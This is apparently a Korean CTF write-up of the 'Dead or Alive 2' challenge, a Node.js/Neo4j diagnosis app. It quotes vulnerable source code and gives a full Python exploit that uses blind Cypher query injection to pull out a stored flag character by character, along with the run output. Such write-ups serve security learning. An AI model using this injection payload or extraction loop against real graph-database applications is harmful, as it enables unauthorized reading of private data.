문제개요
Dead or Alive 2
We have developed an innovative disease detection system using graph theory. Come and test our system, all your personal data is securely protected. get
Sources file
keywords : web, blind cypher query injection
Files
.
├── app
│ ├── Dockerfile
│ ├── app.js
│ ├── package.json
│ ├── static
│ │ ├── css
│ │ │ ├── bootstrap.min.css
│ │ │ ├── images
│ │ │ │ ├── ..............
│ │ │ └── ...........
│ │ ├── fontawesome
│ │ │ ├── css
│ │ │ │ └── ...........
│ │ │ └── webfonts
│ │ │ └── ...........
│ │ ├── images
│ │ │ └── ...........
│ │ └── js
│ │ └── ...........
│ └── views
│ ├── footer.html
│ ├── index.html
│ └── navbar_home.html
├── configure_db.sh
├── docker-compose.yml
├── dump.xxd
└── hospitalgraph.dump
요약
- 사용자의 입력을 cypher query에 그대로 포맷팅하여 cypher query injection 취약점 발생
- neo4j db내에 flag가 저장된 노드가 있지만, 문제 파일 내 권한 설정으로 인해 Flag 노드를 직접 읽어들이기 어려움
- blind query injection으로 flag를 1글자 복사해 flag가 포함된 시리얼 넘버를 만들고(예 : aaaaaaac), 시리얼 넘버 브포해서 1글자씩 알아낼 수 있음 (예 : aaaaaaaa ~ aaaaaaaz)
1. Analysis
1.1. Concept
문제파일
- 문제파일로 온라인 질병 진단 웹 서비스 파일 제공
- Nodejs web service + neo4j database
주요 API
- 주요 API 3개는 각각 아래 함수들에 의해 핸들링됨
/api/setUser
- 환자(사용자)의 인적사항을 등록하는 컨셉의 API
- Neo4j 데이터베이스에
Patient
타입의 노드로 저장
app.post('/api/setUser', async (req, res) => {
// zero-padded 9-digit number
const ssn = ('000000000'+req.body.ssn).slice(-9)
if (!ssn) return res.status(400).send({
status: 'error',
message: 'Bad ssn'
});
// Data depersonalization
const name = md5(`${SALT}|${req.body.fullname}|${SALT}`);
// Need only year for statistics
const yearOfBirth = moment(req.body.dateOfBirth, 'DD/MM/YYYY').year?.();
if (!yearOfBirth) return res.status(400).send({
status: 'error',
message: 'Need date in format DD/MM/YYYY'
});
const weight = parseFloat(req.body.weight);
if (!weight) return res.status(400).send({
status: 'error',
message: 'Need correct weight'
});
// register user if not exists
setUser(ssn, name, yearOfBirth, weight)
.then(() => res.status(200).send({
status: 'Ok',
message: 'User updated'
}));
});
async function setUser(ssn, name, yearOfBirth, weight){
const session = driver.session();
const q = `
MERGE (p:Patient {
ssn: '${ssn}'
})
ON CREATE SET p.since = date()
SET p.name = '${name}'
SET p.yearOfBirth = ${yearOfBirth}
SET p.weight = ${weight}
`
return session.run(q)
.catch(() => {})
.then(() => session.close());
}
/api/setSymptoms
- 환자(사용자)의 증상을 등록하는 컨셉의 API
- 기존에 정의된 증상(
Symptom
) 중 환자(Patient
)가 선택한 증상을HAS
relationship으로 연결
app.post('/api/setSymptoms', async (req, res) => {
// zero-padded 9-digit number
const ssn = ('000000000'+req.body.ssn).slice(-9)
if (!ssn) return res.status(400).send({
status: 'error',
message: 'Bad ssn'
});
const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
// saving symptoms
setSymptoms(ssn, symptoms)
.then(() => res.status(200).send({
status: 'Ok',
message: 'Symptoms updated'
}));
});
async function setSymptoms(ssn, symptoms){
const session = driver.session();
let q = `
MATCH (p:Patient {ssn: '${ssn}'})
MATCH (s:Symptom) WHERE s.name in [${symptoms}]
MERGE (p)-[r:HAS]->(s)
`;
return session.run(q)
.catch(() => {})
.then(() => session.close());
}
/api/getDiagnosis
- 이전에 사용자가 등록(
/api/setSymptoms
)한 증상을 토대로 진단을 요청하는 컨셉의 API- 기존에 정의된
Symptom
노드와Disease
노드는OF
relationship으로 N:1로 연결되어있음- 사용자가 특정
Disease
와 연결된 N개의Symptom
을 모두 선택하면Disease
로 진단을 내려주는 방식임
app.post('/api/getDiagnosis', async (req, res) => {
// zero-padded 9-digit number
const ssn = ('000000000'+req.body.ssn).slice(-9)
if (!ssn) return res.status(400).send({
status: 'error',
message: 'Bad ssn'
});
// establish diagnosis
getDiagnosis(ssn)
.then((result) => res.status(200).send({
status: (result.length) ? 'Diagnosis found' : 'Healthy',
message: (result.length) ? result : [{
'name': 'Diagnosis not established, most probably you are healthy and beautiful!',
'description':'We could not identify the disease by your symptoms, now you have to live with it ...'
}]
}));
});
async function getDiagnosis(ssn){
const session = driver.session();
const q = `
// get patient symptoms as array
MATCH (p:Patient {ssn: '${ssn}'})-[:HAS]->(s:Symptom)-[:OF]->(d:Disease)
WITH d, collect(s.name) AS p_symptoms
// looking for a match of the patient's symptoms in the symptoms of diseases
MATCH (d)<-[:OF]-(d_symptom:Symptom)
WITH d, p_symptoms, collect(d_symptom.name) as d_symptoms
WHERE size(p_symptoms) = size(d_symptoms)
RETURN d.name, d.description
`;
const result = await session.run(q).catch(() => {});
session.close();
return result?.records.map((record) => ({
name: record.get('d.name'),
description: record.get('d.description')
}));
}
1.2. Flag
- 본 문제의 flag는 neo4j database 내에
Flag
노드로 존재
1.3. Vulnerability
Cypher query injection 취약점
app/app.js
에서 사용자의 증상을 파라미터로 전달받은 후 검증없이 cypher 쿼리문에 삽입하기 떄문에 cypher query injection 취약점이 발생한다.
const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
.......
let q=`
.......
MATCH (s:Symptom) WHERE s.name in [${symptoms}]
.......`
app/app.js
.......
const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
// saving symptoms
setSymptoms(ssn, symptoms)
.then(() => res.status(200).send({
status: 'Ok',
message: 'Symptoms updated'
}));
});
async function setSymptoms(ssn, symptoms){
const session = driver.session();
let q = `
MATCH (p:Patient {ssn: '${ssn}'})
MATCH (s:Symptom) WHERE s.name in [${symptoms}] // cypher injection
MERGE (p)-[r:HAS]->(s)
`;
return session.run(q)
.catch(() => {})
.then(() => session.close());
}
취약점 트리거
- 사용자 파라미터 :
(Symptom : Fever')
setUser :
MERGE (p:Patient {
ssn: '0ASDFQWER'
})
ON CREATE SET p.since = date()
SET p.name = '4ffe54ccc3c2de8014919a5da1df75f4'
SET p.yearOfBirth = 2012
SET p.weight = 10000
setSymptoms :
MATCH (p:Patient {ssn: '0ASDFQWER'})
MATCH (s:Symptom) WHERE s.name in ['Fever'']
MERGE (p)-[r:HAS]->(s)
getDiagnosis :
MATCH (p:Patient {ssn: '0ASDFQWER'})-[:HAS]->(s:Symptom)-[:OF]->(d:Disease)
WITH d, collect(s.name) AS p_symptoms
MATCH (d)<-[:OF]-(d_symptom:Symptom)
WITH d, p_symptoms, collect(d_symptom.name) as d_symptoms
WHERE size(p_symptoms) = size(d_symptoms)
RETURN d.name, d.description
2. Exploitation
2.1. Permission
configure_db.sh
파일에서 neo4j를 설정할때, 제한된 권한을 부여하고 있음
moderator
사용자 생성 및 reader ROLE 부여moderator
사용자에게Patient
노드 생성 권한 부여 (property 설정 가능)moderator
사용자에게HAS
관계 생성 권한 부여
configure_db.sh
#!/bin/bash
while true; do
out=$(cypher-shell -u neo4j -p rootroot <<< "CREATE USER moderator SET PASSWORD 'moderator' CHANGE NOT REQUIRED;
CREATE ROLE moderator;
GRANT CREATE ON GRAPH hospitalgraph NODE Patient TO moderator;
GRANT SET PROPERTY {ssn,name,yearOfBirth,since,weight} ON GRAPH hospitalgraph NODES Patient TO moderator;
GRANT CREATE ON GRAPH hospitalgraph RELATIONSHIP HAS TO moderator;
GRANT ROLE reader TO moderator;
GRANT ROLE moderator TO moderator;" 2>&1)
[ "$out" != "Connection refused" ] && break
done
2.2. Flag Copy & Blind cypher query injection
- 앞선 2.1의 권한 제한으로 인해 (1)
Flag
노드의 타입을Disease
로 변경하거나, (2)Flag.flag
속성을 복사하여 새로운Disease
노드를 생성하는 방식으로 flag를 읽어내는 것은 제한된다. - 하지만
Patient
노드 생성 및 property를 설정 가능하기때문에Patient
노드의 property에Flag.flag
property를 복사하는 것이 가능하다.
CREATE (fff:Patient {ssn: 'akakakak'+substring(f.flag,0,1), name:"good"})
- 다만, 웹 서비스 상에서
Patient.ssn
을 출력하는 기능이 없어 flag를 한 번에 알아낼 수 없다. - 따라서, 아래와 같이 환자의 진단결과로
Flag.flag
를Patient.ssn
뒤에 1byte씩 복사하고 blind sql injection의 형태로 flag를 확인하는 방법으로 flag 문자열을 읽을 수 있었다. -
Patient
노드를 생성한다.- 생성 과정에서
Flag.flag
를 1byte 복사하여 1.에서 생성한Patient.ssn
에 이어붙인다. - 해당
Patient
노드를 "Sneezing", "Runny or stuffy nose", "Fatigue", "Cough", "Sore throat"라는Symptom
노드들과HAS
relationship으로 연결한다.
("Common Cold"라는Disease
노드는 "Sneezing", "Runny or stuffy nose", "Fatigue", "Cough", "Sore throat"라는Symptom
노드들과 연결되어 있다.) - 공격자는
Patient.ssn
뒤에 이어지는Flag.flag
의 1byte를 읽어내기 위해,Patient.ssn
뒤에 1byte를 브루트포스하며 진단 결과를 확인한다. - 만약 진단결과가 "Common Cold"인 경우 해당 byte가 flag의 1byte이다.
Example
- flag = ctf{1234}일 때, 두 번째 문자 't'를 알아내는 상황
MATCH (f:Flag)
MATCH (s1:Symptom {name:"Sneezing"})
MATCH (s2:Symptom {name:"Runny or stuffy nose"})
MATCH (s3:Symptom {name:"Fatigue"})
MATCH (s4:Symptom {name:"Cough"})
MATCH (s5:Symptom {name:"Sore throat"})
CREATE (fff:Patient {ssn: 'akakakak'+substring(f.flag,1,1), name:"good"})
MERGE (fff) - [:HAS] -> (s1)
MERGE (fff) - [:HAS] -> (s2)
MERGE (fff) - [:HAS] -> (s3)
MERGE (fff) - [:HAS] -> (s4)
MERGE (fff) - [:HAS] -> (s5)
- 환자 ssn = 'akakakak_'
- 환자 ssn = 'akakakakt'
Flag.flag
의 두 번째 문자 't'를 알아낼 수 있음을 확인했다.- 위 과정을 반복하는 코드를 작성하여
Flag.flag
의 값을 읽어낼 수 있었다.
3. Exploit
3.1. exploit.py
#!/usr/bin/python
import requests as req
import json
import random
import string
import time
HOST = 'https://dead-or-alive.ctfz.one'
#HOST = 'http://172.16.32.196:3000'
PORT = 80
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
def rand_str(length=6):
string_pool = string.ascii_lowercase # 소문자
result = ''
for i in range(length) :
result += random.choice(string_pool) # 랜덤한 문자열 하나 선택
return result
def setUser(ssn):
payload = {'ssn': ssn, 'fullname': "pwn3r", 'dateOfBirth': "11/111/2014", 'weight': "88.8"}
res = req.post(HOST+'/api/setUser', data=json.dumps(payload), headers=headers)
return res
def setSymptoms(symptom):
payload = {'ssn': '000000000', 'symptoms': [symptom]}
res = req.post(HOST+'/api/setSymptoms', data=json.dumps(payload), headers=headers)
return res
def getDiagnosis(ssn):
payload = {'ssn': ssn}
res = req.post(HOST+'/api/getDiagnosis', data=json.dumps(payload), headers=headers)
return res
def inject(prefix, idx):
q = """Sneezing'] MATCH (f:Flag)
MATCH (s1:Symptom {{name:"Sneezing"}})
MATCH (s2:Symptom {{name:"Runny or stuffy nose"}})
MATCH (s3:Symptom {{name:"Fatigue"}})
MATCH (s4:Symptom {{name:"Cough"}})
MATCH (s5:Symptom {{name:"Sore throat"}})
CREATE (fff:Patient {{ssn: '{}'+substring(f.flag,{},1), name:"good"}})
MERGE (fff) - [:HAS] -> (s1)
MERGE (fff) - [:HAS] -> (s2)
MERGE (fff) - [:HAS] -> (s3)
MERGE (fff) - [:HAS] -> (s4)
MERGE (fff) - [:HAS] -> (s5) // """.format(prefix, idx).replace('\n', ' ')
setSymptoms(q)
def oracle(ssn):
if 'Diagnosis found' in getDiagnosis(ssn).text:
return 1
time.sleep(0.1)
return 0
ch_table = '}!@#}ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-{}'
flag = '' # ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}
prefix = rand_str(6)
start_idx = len(flag)
for i in range(start_idx, 70):
ssn_head = '{}{:02d}'.format(prefix, i)
inject(ssn_head, i)
for ch in ch_table:
cur_ssn = ssn_head + ch
if oracle(cur_ssn):
flag += ch
print(flag)
print(flag)
3.2. Run
$ exploit.py
c
ct
ctf
ctfz
ctfzo
ctfzon
ctfzone
ctfzone{
ctfzone{N
ctfzone{N0
ctfzone{N0w
ctfzone{N0w_
ctfzone{N0w_Y
ctfzone{N0w_Y0
ctfzone{N0w_Y0u
ctfzone{N0w_Y0u_
ctfzone{N0w_Y0u_4
ctfzone{N0w_Y0u_4r
ctfzone{N0w_Y0u_4re
ctfzone{N0w_Y0u_4re_
ctfzone{N0w_Y0u_4re_C
ctfzone{N0w_Y0u_4re_C0
ctfzone{N0w_Y0u_4re_C0m
ctfzone{N0w_Y0u_4re_C0mp
ctfzone{N0w_Y0u_4re_C0mpl
ctfzone{N0w_Y0u_4re_C0mpl3
ctfzone{N0w_Y0u_4re_C0mpl3t
ctfzone{N0w_Y0u_4re_C0mpl3t3
ctfzone{N0w_Y0u_4re_C0mpl3t3l
ctfzone{N0w_Y0u_4re_C0mpl3t3ly
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H3
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34l
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lT
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}
Flag : ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}
'CTF > 2023' 카테고리의 다른 글
[CTF][2023] CCE 2023 QUAL - babykernel (0) | 2024.03.18 |
---|---|
[CTF][2023] CCE 2023 Qual - babyweb_1 (0) | 2024.03.12 |
[CTF][2023] Whitehat contest Qual - pwn1 (0) | 2024.03.02 |
[CTF][2023] SECCON Qual - selfcet (0) | 2024.03.02 |